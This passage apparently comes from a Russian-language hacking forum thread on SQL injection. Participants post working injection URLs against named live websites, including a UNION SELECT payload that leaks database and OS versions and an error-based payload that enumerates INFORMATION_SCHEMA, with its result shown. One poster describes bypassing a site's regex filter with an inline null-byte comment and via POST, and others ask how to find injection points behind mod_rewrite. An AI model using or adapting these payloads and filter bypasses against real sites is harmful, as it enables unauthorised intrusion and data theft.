http://powell.citymedia.ca/deal_framed.php?deal_id=64202

http://powell.citymedia.ca/categorydetails.php?cat_id=-186'+union+select+1,@@version_compile_os,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22 ,23,24,25,26,27,28,29,30+--+

что делать если union и select в связке фильтруются

http://www.ftv.com/fashion/page.php?P=2803&gid=807&kid=11473&size=full&pid=53 965

а не пойти бы вам на все 3 буквы? тут что для вас....конвеер по раскрутке скулей для тебя?

Kappa_87

http://www.xxx.ru/showtopic.php?num=-123 or 1 /*%00*/ group by concat(left((select count(*) from INFORMATION_SCHEMA.TABLES),64),rand(0)|0) having min(0)--+

=>

244

в принципе с /*%00*/ и обыкновенный union select скорее всего прокатит (лень и неинтересно уже дальше копать) - у них там некая хрень, похоже самописная, которая все параметры к сайту при любом обращении фильтрует по regexp на что-то в роде select.+from и union.+select c безразличеем к регистру.

кста, запрос и через post проходит

Заметил, что есть категория сайтов, у которых нет "подцепки" для неопытных..

ну скажем сайт крутой, серьезный и куда не переходи - все линки кончаются на *.htm , *.aspx или .html. А в особыйслучаях - без расширением, чисто по разделам: /home/, /photo/ и т.п.

В таких случаях как можно быть ? в концах попробывал сатвить ', 1=1 и т.п. дела, а по просто показывает, что нет такого страницы.

просто я обычно тренировался на т.п. запросах, как это: /*.php?id=***

а тут другая ситуация уже..

mod_rewrite тебе о чем нибудь говорит?

Gorev

ну да, недавно было тема об этом mod_rewrite , сказали, что тлько фаззингом можно раскрывать пути вроде.

а как насчет этих:

это уж точно не mod_rewrite !